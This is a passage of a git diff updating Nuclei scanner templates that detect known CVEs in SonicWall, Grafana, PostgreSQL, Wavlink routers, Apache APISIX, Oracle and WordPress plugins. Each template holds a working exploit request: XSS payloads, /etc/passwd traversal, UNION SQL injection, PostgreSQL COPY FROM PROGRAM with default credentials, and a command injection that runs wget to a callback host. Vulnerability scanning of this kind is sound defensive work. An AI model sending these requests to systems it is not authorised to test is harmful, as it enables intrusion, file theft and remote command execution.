Kopano product instead. + Zarafa WebApp 2.0.1.47791 and earlier contains an unauthenticated reflected cross-site scripting vulnerability. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. + remediation: This is a discontinued product. The issue was fixed in later versions. However, some former Zarafa WebApp customers use the related Kopano product instead. reference: - https://github.com/verifysecurity/CVE-2019-7219 - https://stash.kopano.io/repos?visibility=public + - https://nvd.nist.gov/vuln/detail/CVE-2019-7219 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2019-7219 cwe-id: CWE-79 + epss-score: 0.00113 + epss-percentile: 0.44582 + cpe: cpe:2.3:a:zarafa:webaccess:7.2.0-48204:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: zarafa + product: webaccess tags: cve,cve2019,zarafa,xss -requests: +http: - method: GET path: - '{{BaseURL}}/webapp/?fccc%27\%22%3E%3Csvg/onload=alert(/xss/)%3E' @@ -27,6 +36,7 @@ requests: part: body words: - "" + - type: word part: header words: @@ -35,3 +45,4 @@ requests: - type: status status: - 200 +# digest: 4a0a00473045022052e5c6d9b1170ef27097ae227eeec202d3e04a469a6fdfb9e7c9df2469bfc05b022100f4af362724afc32b6c6fab1b44d53b7bba2da54d3263138b69204cea5989c0d8:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2019-7315.yaml b/poc/cve/CVE-2019-7315.yaml index 35be02c4fc..7e2cb32f90 100644 --- a/poc/cve/CVE-2019-7315.yaml +++ b/poc/cve/CVE-2019-7315.yaml @@ -1,43 +1,29 @@ id: CVE-2019-7315 - info: - name: Genie Access WIP3BVAF IP Camera - Local File Inclusion + name: Genie Access WIP3BVAF IP Camera - Directory Traversal author: 0x_Akoko severity: high - description: Genie Access WIP3BVAF WISH IP 3MP IR Auto Focus Bullet Camera devices through 3.X are vulnerable to local file inclusion via the web interface, as demonstrated by reading /etc/shadow. - remediation: | - Apply the latest firmware update provided by the vendor to fix the local file inclusion vulnerability. + description: Genie Access WIP3BVAF WISH IP 3MP IR Auto Focus Bullet Camera devices through 3.X are vulnerable to directory traversal via the web interface, as demonstrated by reading /etc/shadow. reference: - https://labs.nettitude.com/blog/cve-2019-7315-genie-access-wip3bvaf-ip-camera-directory-traversal/ - https://vuldb.com/?id.136593 - - https://nvd.nist.gov/vuln/detail/CVE-2019-7315 + - https://www.cvedetails.com/cve/CVE-2019-7315 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2019-7315 cwe-id: CWE-22 - epss-score: 0.01945 - epss-percentile: 0.87364 - cpe: cpe:2.3:o:genieaccess:wip3bvaf_firmware:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: genieaccess - product: wip3bvaf_firmware tags: cve,cve2019,camera,genie,lfi,iot - -http: +requests: - method: GET path: - "{{BaseURL}}/../../../../../etc/passwd" - matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 4b0a00483046022100b73288947c421a588c6cf84914257b33127bc7c505bd2fa2276969fd85881441022100e9a7ad139ddcc8674cf45995511feb5253a29e58dbd2c239d381b8777a1d7055:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2019-7481.yaml b/poc/cve/CVE-2019-7481.yaml index 9fae3a6f0c..89a2da11a7 100644 --- a/poc/cve/CVE-2019-7481.yaml +++ b/poc/cve/CVE-2019-7481.yaml @@ -1,9 +1,12 @@ id: CVE-2019-7481 + info: name: SonicWall SRA 4600 VPN - SQL Injection author: _darrenmartyn severity: high description: The SonicWall SRA 4600 VPN appliance is susceptible to a pre-authentication SQL injection vulnerability. + remediation: | + Apply the latest security patches or firmware updates provided by SonicWall to mitigate this vulnerability. reference: - https://www.crowdstrike.com/blog/how-ecrime-groups-leverage-sonicwall-vulnerability-cve-2019-7481/ - https://nvd.nist.gov/vuln/detail/CVE-2019-7481 @@ -13,8 +16,16 @@ info: cvss-score: 7.5 cve-id: CVE-2019-7481 cwe-id: CWE-89 - tags: cve,cve2019,sonicwall,sqli -requests: + epss-score: 0.88397 + epss-percentile: 0.98392 + cpe: cpe:2.3:o:sonicwall:sma_100_firmware:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: sonicwall + product: sma_100_firmware + tags: cve,cve2019,sonicwall,sqli,kev + +http: - raw: - | POST /cgi-bin/supportInstaller HTTP/1.1 @@ -24,10 +35,10 @@ requests: Content-Type: application/x-www-form-urlencoded fromEmailInvite=1&customerTID=unpossible'+UNION+SELECT+0,0,0,11132*379123,0,0,0,0-- + matchers: - type: word + part: body words: - "4220397236" - part: body - -# Enhanced by mp on 2022/04/20 +# digest: 4b0a00483046022100b669934a155c1ecfb4111a9099cc97538e4a1caf40bb279b8076fc2d5fcc2d6a022100b31ebd2bc1fab536e676eae230390ef4d0fc71147a02cccd7a2f9695e758bc8c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2019-7543.yaml b/poc/cve/CVE-2019-7543.yaml index dcc254dab2..e2617cd6cd 100644 --- a/poc/cve/CVE-2019-7543.yaml +++ b/poc/cve/CVE-2019-7543.yaml @@ -1,33 +1,49 @@ id: CVE-2019-7543 + info: - name: KindEditor 4.1.11, the php/demo.php - (XSS) + name: KindEditor 4.1.11 - Cross-Site Scripting author: pikpikcu severity: medium - description: KindEditor 4.1.11, the php/demo.php content1 parameter has a reflected Cross-site Scripting (XSS) vulnerability. + description: KindEditor 4.1.11 contains a cross-site scripting vulnerability via the php/demo.php content1 parameter. + remediation: | + Upgrade to a patched version of KindEditor or apply the necessary security patches provided by the vendor. reference: - https://github.com/0xUhaw/CVE-Bins/tree/master/KindEditor - https://nvd.nist.gov/vuln/detail/CVE-2019-7543 - tags: cve,cve2019,kindeditor,xss classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2019-7543 cwe-id: CWE-79 -requests: + epss-score: 0.00113 + epss-percentile: 0.44654 + cpe: cpe:2.3:a:kindsoft:kindeditor:4.1.11:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: kindsoft + product: kindeditor + tags: cve,cve2019,kindeditor,xss + +http: - method: POST path: - '{{BaseURL}}/kindeditor/php/demo.php' - '{{BaseURL}}/php/demo.php' + body: "content1=&button=%E6%8F%90%E4%BA%A4%E5%86%85%E5%AE%B9" + headers: Content-Type: application/x-www-form-urlencoded + matchers-condition: and matchers: - type: word + part: body words: - '' - part: body + - type: word part: header words: - text/html +# digest: 4b0a00483046022100ef1cbad11508d63b4dcaf61f0deba58509836bb09d204241229e79aa93d84ad7022100dd722926a07d0bb175e6d1fde8ce39d4c572232c580b5d06c0559f62a0c7b29f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2019-9193.yaml b/poc/cve/CVE-2019-9193.yaml new file mode 100644 index 0000000000..7d32efc03f --- /dev/null +++ b/poc/cve/CVE-2019-9193.yaml @@ -0,0 +1,54 @@ +id: CVE-2019-9193 + +info: + name: PostgreSQL 9.3-12.3 Authenticated Remote Code Execution + author: pussycat0x + severity: high + description: | + In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_server_program' group to execute arbitrary code in the context of the database's operating system user. This functionality is enabled by default and can be abused to run arbitrary operating system commands on Windows, Linux, and macOS. NOTE: Third parties claim/state this is not an issue because PostgreSQL functionality for ‘COPY TO/FROM PROGRAM’ is acting as intended. References state that in PostgreSQL, a superuser can execute commands as the server user without using the ‘COPY FROM PROGRAM’. + reference: + - https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193 + metadata: + shodan-query: product:"PostgreSQL" + verified: true + tags: cve,cve2018,js,network,postgresql,intrusive + +javascript: + - code: | + const postgres = require('nuclei/postgres'); + const client = new postgres.PGClient; + const tbl = tbl_exec + const qry = ["CREATE TABLE "+tbl+"(cmd_output text);", "COPY "+tbl + " FROM PROGRAM 'id';", "SELECT * FROM "+ tbl+";", "DROP TABLE IF EXISTS " +tbl+";",]; + for (const x of qry){ + connected = client.ExecuteQuery(Host, Port, User, Pass, Db, x); + Export(connected); + } + + args: + Host: "{{Host}}" + Port: 5432 + User: "{{usernames}}" + Pass: "{{password}}" + Db: "{{database}}" + tbl_exec: "{{randbase(5)}}" + + payloads: + usernames: + - postgres + database: + - postgres + password: + - postgres + + attack: clusterbomb + + matchers-condition: and + matchers: + - type: regex + regex: + - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" + + - type: word + words: + - "cmd_output" +# digest: 490a0046304402203fcb8e13ec325699c423b1e5c5f2917827bf54872524f1e24f2623bccc421f3d022065ccbe4ce99b7eea6c7350e25a1d993b18c53e59d221755142969e86c92655ed:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2019-9922.yaml b/poc/cve/CVE-2019-9922.yaml index c8af51903f..f714e2ef4d 100644 --- a/poc/cve/CVE-2019-9922.yaml +++ b/poc/cve/CVE-2019-9922.yaml @@ -1,28 +1,43 @@ id: CVE-2019-9922 + info: - name: JE Messenger 1.2.2 Joomla - Directory Traversal + name: Joomla! Harmis Messenger 1.2.2 - Local File Inclusion author: 0x_Akoko severity: high - description: An issue was discovered in the Harmis JE Messenger component 1.2.2 for Joomla. Directory Traversal allows read access to arbitrary files. + description: Joomla! Harmis Messenger 1.2.2 is vulnerable to local file inclusion which could give an attacker read access to arbitrary files. + remediation: | + Update to the latest version of Harmis Messenger (1.2.3) or apply the patch provided by the vendor to fix the LFI vulnerability. reference: - https://github.com/azd-cert/CVE/blob/master/CVEs/CVE-2019-9922.md - - https://www.cvedetails.com/cve/CVE-2019-9922 - https://extensions.joomla.org/extension/je-messenger/ + - https://nvd.nist.gov/vuln/detail/CVE-2019-9922 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2019-9922 cwe-id: CWE-22 + epss-score: 0.01171 + epss-percentile: 0.83378 + cpe: cpe:2.3:a:harmistechnology:je_messenger:1.2.2:*:*:*:*:joomla\!:*:* + metadata: + max-request: 1 + vendor: harmistechnology + product: je_messenger + framework: joomla\! tags: cve,cve2019,joomla,messenger,lfi -requests: + +http: - method: GET path: - "{{BaseURL}}/index.php/component/jemessenger/box_details?task=download&dw_file=../../.././../../../etc/passwd" + matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" + - type: status status: - 200 +# digest: 4b0a00483046022100c3c12ae20115753b9c7215d15f2c778195022c056f91c9b977443440a7dbf432022100bf4386f616c34b2611469ab1da62e4b0b51e36108dc8fa293870cabd1f4c0da4:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2020-10549.yaml b/poc/cve/CVE-2020-10549.yaml index dcebcd1a31..9a05c1f547 100644 --- a/poc/cve/CVE-2020-10549.yaml +++ b/poc/cve/CVE-2020-10549.yaml @@ -1,43 +1,29 @@ id: CVE-2020-10549 - info: - name: rConfig <=3.9.4 - SQL Injection + name: rConfig 3.9.4 SQLi author: madrobot severity: critical - description: rConfig 3.9.4 and prior has unauthenticated snippets.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices. - remediation: | - Upgrade rConfig to version >3.9.4 or apply the provided patch to mitigate the SQL Injection vulnerability. + description: rConfig 3.9.4 and previous versions has unauthenticated snippets.inc.php SQL injection. Because, by default, nodes' passwords are stored in cleartext, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices. reference: - https://github.com/theguly/exploits/blob/master/CVE-2020-10549.py - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/ - - https://nvd.nist.gov/vuln/detail/CVE-2020-10549 + tags: cve,cve2020,rconfig,sqli classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 + cvss-score: 9.80 cve-id: CVE-2020-10549 - cwe-id: CWE-89 - epss-score: 0.45422 - epss-percentile: 0.97053 - cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: rconfig - product: rconfig - tags: cve,cve2020,rconfig,sqli + cwe-id: CWE-89,CWE-522 -http: +requests: - method: GET path: - "{{BaseURL}}/snippets.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL+--+&searchColumn=snippetName&searchOption=contains" - matchers-condition: and matchers: - - type: word - part: body - words: - - "[project-discovery]" - - type: status status: - 200 -# digest: 4a0a00473045022056722f4fe0b434b5732a04b98c3f7071f37f36227fc5f3455ae2ec07cbea148b022100d41f3a3b7e42d30ca0abd64a616303e1dc02068879df94f48f8059068ebd17d1:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - type: word + words: + - "[project-discovery]" + part: body diff --git a/poc/cve/CVE-2020-11110.yaml b/poc/cve/CVE-2020-11110.yaml index 99910d37ea..10820a3475 100644 --- a/poc/cve/CVE-2020-11110.yaml +++ b/poc/cve/CVE-2020-11110.yaml @@ -1,24 +1,33 @@ id: CVE-2020-11110 info: - name: Grafana Unauthenticated Stored XSS + name: Grafana <= 6.7.1 - Cross-Site Scripting author: emadshanab severity: medium - description: Grafana through 6.7.1 allows stored XSS due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot. + description: Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot. + remediation: This issue can be resolved by updating Grafana to the latest version. reference: - - https://web.archive.org/web/20210717142945/https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html + - https://github.com/grafana/grafana/pull/23254 + - https://security.netapp.com/advisory/ntap-20200810-0002/ - https://nvd.nist.gov/vuln/detail/CVE-2020-11110 + - https://hackerone.com/reports/1329433 - https://github.com/grafana/grafana/blob/master/CHANGELOG.md - - https://security.netapp.com/advisory/ntap-20200810-0002/ - remediation: This issue can be resolved by updating Grafana to the latest version. classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N + cvss-score: 5.4 cve-id: CVE-2020-11110 cwe-id: CWE-79 - tags: cve,cve2020,xss,grafana + epss-score: 0.00179 + epss-percentile: 0.55011 + cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: grafana + product: grafana + shodan-query: title:"Grafana" + tags: cve,cve2020,xss,grafana,hackerone -requests: +http: - raw: - | POST /api/snapshots HTTP/1.1 @@ -33,10 +42,6 @@ requests: matchers-condition: and matchers: - - type: status - status: - - 200 - - type: word part: header words: @@ -49,9 +54,14 @@ requests: - '"deleteUrl":' condition: and + - type: status + status: + - 200 + extractors: - type: regex - part: body group: 1 regex: - '"url":"([a-z:/0-9A-Z]+)"' + part: body +# digest: 4a0a00473045022024196b42a138548903dae9f1eafeaadd4b946083b15680d6fcb5ed430f594ab6022100885bedd672ad328aa548fab8c2af513e8ffea4ecd19db87dac57ab2be21b80ea:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2020-12054.yaml b/poc/cve/CVE-2020-12054.yaml index 7d628c1561..7e936260cb 100644 --- a/poc/cve/CVE-2020-12054.yaml +++ b/poc/cve/CVE-2020-12054.yaml @@ -1,37 +1,53 @@ -id: CVE-2020-12054 - -info: - name: Catch Breadcrumb < 1.5.7 - Unauthenticated Reflected XSS - author: daffainfo - severity: medium - description: The Catch Breadcrumb plugin before 1.5.4 for WordPress allows Reflected XSS via the s parameter (a search query). - reference: https://wpscan.com/vulnerability/30a83491-2f59-4c41-98bd-a9e6e5a609d4 - tags: cve,cve2020,wordpress,xss,wp-plugin - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2020-12054 - cwe-id: CWE-79 - -requests: - - method: GET - path: - - '{{BaseURL}}/?s=%3Cimg%20src%3Dx%20onerror%3Dalert%28123%29%3B%3E' - - matchers-condition: and - matchers: - - type: word - words: - - "" - - "catch-breadcrumb" - part: body - condition: and - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 \ No newline at end of file +id: CVE-2020-12054 + +info: + name: WordPress Catch Breadcrumb <1.5.4 - Cross-Site Scripting + author: daffainfo + severity: medium + description: | + WordPress Catch Breadcrumb plugin before 1.5.4 contains a reflected cross-site scripting vulnerability via the s parameter (a search query). Also affected are 16 themes if the plugin is enabled: Alchemist and Alchemist PRO, Izabel and Izabel PRO, Chique and Chique PRO, Clean Enterprise and Clean Enterprise PRO, Bold Photography PRO, Intuitive PRO, Devotepress PRO, Clean Blocks PRO, Foodoholic PRO, Catch Mag PRO, Catch Wedding PRO, and Higher Education PRO. + remediation: | + Update to the latest version of WordPress Catch Breadcrumb plugin (1.5.4 or higher) to mitigate the vulnerability. + reference: + - https://wpscan.com/vulnerability/30a83491-2f59-4c41-98bd-a9e6e5a609d4 + - https://wpvulndb.com/vulnerabilities/10184 + - https://cxsecurity.com/issue/WLB-2020040144 + - https://nvd.nist.gov/vuln/detail/CVE-2020-12054 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2020-12054 + cwe-id: CWE-79 + epss-score: 0.00129 + epss-percentile: 0.47471 + cpe: cpe:2.3:a:catchplugins:catch_breadcrumb:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: catchplugins + product: catch_breadcrumb + framework: wordpress + tags: wordpress,xss,wp-plugin,wpscan,cve,cve2020 + +http: + - method: GET + path: + - '{{BaseURL}}/?s=%3Cimg%20src%3Dx%20onerror%3Dalert%28123%29%3B%3E' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - "catch-breadcrumb" + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 +# digest: 490a00463044022029eec83bbb7fd882caa89971d9a6710dd4fbb5e63025cb10a1e9ea70412f59ed02201c3cfe4d502f8ba388127e7a77fa0eae51a7520bb918929806053e8a8f555549:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2020-13117.yaml b/poc/cve/CVE-2020-13117.yaml index 7f7efe6b19..bfc0ff9a86 100644 --- a/poc/cve/CVE-2020-13117.yaml +++ b/poc/cve/CVE-2020-13117.yaml @@ -1,32 +1,18 @@ id: CVE-2020-13117 - info: - name: Wavlink Multiple AP - Remote Command Injection + name: Wavlink Multiple AP - Unauthenticated RCE author: gy741 severity: critical - description: Wavlink products are affected by a vulnerability that may allow remote unauthenticated users to execute arbitrary commands as root on Wavlink devices. The user input is not properly sanitized which allows command injection via the "key" parameter in a login request. It has been tested on Wavlink WN575A4 and WN579X3 devices, but other products may also be affected. - remediation: | - Apply the latest firmware update provided by the vendor to mitigate this vulnerability. + description: Several Wavlink products are affected by a vulnerability that may allow remote unauthenticated users to execute arbitrary commands as root on Wavlink devices. The user input is not properly sanitized which allows command injection via the "key" parameter in a login request. It has been tested on Wavlink WN575A4 and WN579X3 devices, but other products may be affected. reference: - https://blog.0xlabs.com/2021/02/wavlink-rce-CVE-2020-13117.html - - https://nvd.nist.gov/vuln/detail/CVE-2020-13117 + tags: cve,cve2020,wavlink,rce,oast classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 + cvss-score: 9.80 cve-id: CVE-2020-13117 cwe-id: CWE-77 - epss-score: 0.05816 - epss-percentile: 0.92581 - cpe: cpe:2.3:o:wavlink:wn575a4_firmware:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: wavlink - product: wn575a4_firmware - shodan-query: http.title:"Wi-Fi APP Login" - tags: cve,cve2020,wavlink,rce,oast,router - -http: +requests: - raw: - | POST /cgi-bin/login.cgi HTTP/1.1 @@ -36,20 +22,8 @@ http: Accept-Encoding: gzip, deflate newUI=1&page=login&username=admin&langChange=0&ipaddr=192.168.1.66&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=wifi.wavlink.com&key=%27%3B%60wget+http%3A%2F%2F{{interactsh-url}}%3B%60%3B%23&password=asd&lang_select=en - - matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" - - - type: word - part: body - words: - - "parent.location.replace" - - - type: status - status: - - 200 -# digest: 4a0a0047304502206b6c68366258ff0f9f19d5481e672ca251188b4aac0272b44aa4165559059429022100eafb7ed5fa6940c5012044041ffa0434bba7f1bda16a36c847d4af1f493a62b5:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2020-13700.yaml b/poc/cve/CVE-2020-13700.yaml index 0522a93120..58708bf1f5 100644 --- a/poc/cve/CVE-2020-13700.yaml +++ b/poc/cve/CVE-2020-13700.yaml @@ -1,52 +1,29 @@ id: CVE-2020-13700 - info: - name: WordPresss acf-to-rest-api <=3.1.0 - Insecure Direct Object Reference + name: acf-to-rest-api wordpress plugin IDOR author: pikpikcu severity: high + reference: https://gist.github.com/mariuszpoplwski/4fbaab7f271bea99c733e3f2a4bafbb5 description: | - WordPresss acf-to-rest-ap through 3.1.0 allows an insecure direct object reference via permalinks manipulation, as demonstrated by a wp-json/acf/v3/options/ request that can read sensitive information in the wp_options table such as the login and pass values. - remediation: | - Update the acf-to-rest-api plugin to version >3.1.0 or apply the latest security patches. - reference: - - https://gist.github.com/mariuszpoplwski/4fbaab7f271bea99c733e3f2a4bafbb5 - - https://wordpress.org/plugins/acf-to-rest-api/#developers - - https://github.com/airesvsg/acf-to-rest-api - - https://nvd.nist.gov/vuln/detail/CVE-2020-13700 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2020-13700 - cwe-id: CWE-639 - epss-score: 0.01923 - epss-percentile: 0.87284 - cpe: cpe:2.3:a:acf_to_rest_api_project:acf_to_rest_api:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: acf_to_rest_api_project - product: acf_to_rest_api - framework: wordpress - tags: cve,cve2020,wordpress,plugin - -http: + An issue was discovered in the acf-to-rest-api plugin through 3.1.0 for WordPress. + It allows an insecure direct object reference via permalinks manipulation, as demonstrated by a + wp-json/acf/v3/options/ request that reads sensitive information in the wp_options table, such as the login and pass values. + tags: cve,cve2020,wordpress +requests: - method: GET path: - '{{BaseURL}}/wp-json/acf/v3/options/a?id=active&field=plugins' - matchers-condition: and matchers: - type: word - part: header words: - 'Content-Type: application/json' - + part: header - type: word - part: body words: - 'acf-to-rest-api\/class-acf-to-rest-api.php' + part: body condition: and - - type: status status: - 200 -# digest: 4a0a00473045022100f6481114f066ead20d7c5ab6ba4bd037a974702697bfb860a847a8761eb50718022028f8cac3e382ed7da0a883a917f8fde06f684ca1c51e0ed72f7813ed64c83256:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2020-13945.yaml b/poc/cve/CVE-2020-13945.yaml index dc1f2480b4..6c740884d6 100644 --- a/poc/cve/CVE-2020-13945.yaml +++ b/poc/cve/CVE-2020-13945.yaml @@ -1,32 +1,22 @@ id: CVE-2020-13945 info: - name: Apache APISIX - Insufficiently Protected Credentials + name: Apache APISIX's Admin API Default Access Token (RCE) author: pdteam severity: medium - description: Apache APISIX 1.2, 1.3, 1.4, and 1.5 is susceptible to insufficiently protected credentials. An attacker can enable the Admin API and delete the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data. - remediation: | - Upgrade to the latest version of Apache APISIX, which includes a fix for the vulnerability. Additionally, ensure that sensitive credentials are properly protected and stored securely. + description: In Apache APISIX, the user enabled the Admin API and deleted the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data. This affects versions 1.2, 1.3, 1.4, 1.5. reference: + - https://nvd.nist.gov/vuln/detail/CVE-2020-13945 - https://github.com/vulhub/vulhub/tree/master/apisix/CVE-2020-13945 - https://lists.apache.org/thread.html/r792feb29964067a4108f53e8579a1e9bd1c8b5b9bc95618c814faf2f%40%3Cdev.apisix.apache.org%3E - http://packetstormsecurity.com/files/166228/Apache-APISIX-Remote-Code-Execution.html - - https://nvd.nist.gov/vuln/detail/CVE-2020-13945 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N cvss-score: 6.5 cve-id: CVE-2020-13945 - cwe-id: CWE-522 - epss-score: 0.00558 - epss-percentile: 0.75057 - cpe: cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: apache - product: apisix - tags: intrusive,vulhub,packetstorm,cve,cve2020,apache,apisix + tags: cve,cve2020,apache,apisix,rce,intrusive -http: +requests: - raw: - | POST /apisix/admin/routes HTTP/1.1 @@ -44,6 +34,7 @@ http: } } } + - | GET /{{randstr}}?cmd=id HTTP/1.1 Host: {{Hostname}} @@ -65,4 +56,3 @@ http: - type: regex regex: - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" -# digest: 490a00463044022059948a8dfd44a57bc20ceb27424c8b6a9f92b0f5cf9c192aec6022a38870ad0802205e7e7adccf142d1423b78d8783395994e7e97b1269caee8f2f0f4c3807e5dfc0:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2020-14864.yaml b/poc/cve/CVE-2020-14864.yaml index 02e264c517..1a74ce325d 100644 --- a/poc/cve/CVE-2020-14864.yaml +++ b/poc/cve/CVE-2020-14864.yaml @@ -1,44 +1,29 @@ id: CVE-2020-14864 - info: - name: Oracle Fusion - Directory Traversal/Local File Inclusion + name: Oracle Fusion - "getPreviewImage" Directory Traversal/Local File Inclusion author: Ivo Palazzolo (@palaziv) severity: high - description: Oracle Business Intelligence Enterprise Edition 5.5.0.0.0, 12.2.1.3.0, and 12.2.1.4.0 are vulnerable to local file inclusion vulnerabilities via "getPreviewImage." - remediation: | - Apply the latest security patches and updates provided by Oracle to fix this vulnerability. + description: Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - "getPreviewImage" Directory Traversal/Local File Inclusion reference: - http://packetstormsecurity.com/files/159748/Oracle-Business-Intelligence-Enterprise-Edition-5.5.0.0.0-12.2.1.3.0-12.2.1.4.0-LFI.html - https://www.oracle.com/security-alerts/cpuoct2020.html - - https://nvd.nist.gov/vuln/detail/CVE-2020-14864 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2020-14864 - cwe-id: CWE-22 - epss-score: 0.29225 - epss-percentile: 0.96414 - cpe: cpe:2.3:a:oracle:business_intelligence:5.5.0.0.0:*:*:*:enterprise:*:*:* - metadata: - max-request: 2 - vendor: oracle - product: business_intelligence - tags: cve,cve2020,oracle,lfi,kev,packetstorm - -http: + tags: cve,cve2020,oracle,lfi,kev +requests: - method: GET path: - - '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1' + - '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1' # grab autologin cookies - '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd' - + cookie-reuse: true matchers-condition: and matchers: - - type: regex - part: body - regex: - - 'root:.*:0:0:' - - type: status status: - 200 -# digest: 4b0a00483046022100bd87624bfdd3bf4d40e465acbde4b93b68fa8170765fe0acd31c31899e9faba5022100eb74560279d8ac09856d1bd2076f34765b2c77646b2d1d2fffec5802a0427392:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - type: regex + regex: + - 'root:.*:0:0:' + part: body diff --git a/poc/cve/CVE-2020-1943.yaml b/poc/cve/CVE-2020-1943.yaml index a8c10150b1..d02e96fde0 100644 --- a/poc/cve/CVE-2020-1943.yaml +++ b/poc/cve/CVE-2020-1943.yaml @@ -1,23 +1,33 @@ id: CVE-2020-1943 info: - name: Apache OFBiz Reflected XSS + name: Apache OFBiz <=16.11.07 - Cross-Site Scripting author: pdteam severity: medium - description: Data sent with contentId to /control/stream is not sanitized, allowing XSS attacks in Apache OFBiz 16.11.01 to 16.11.07. + description: Apache OFBiz 16.11.01 to 16.11.07 is vulnerable to cross-site scripting because data sent with contentId to /control/stream is not sanitized. + remediation: | + Upgrade Apache OFBiz to a version higher than 16.11.07 to mitigate this vulnerability. reference: - https://lists.apache.org/thread.html/rf867d9a25fa656b279b16e27b8ff6fcda689cfa4275a26655c685702%40%3Cdev.ofbiz.apache.org%3E - https://s.apache.org/pr5u8 - https://lists.apache.org/thread.html/r034123f2767830169fd04c922afb22d2389de6e2faf3a083207202bc@%3Ccommits.ofbiz.apache.org%3E - https://lists.apache.org/thread.html/r8efd5b62604d849ae2f93b2eb9ce0ce0356a4cf5812deed14030a757@%3Cdev.ofbiz.apache.org%3E + - 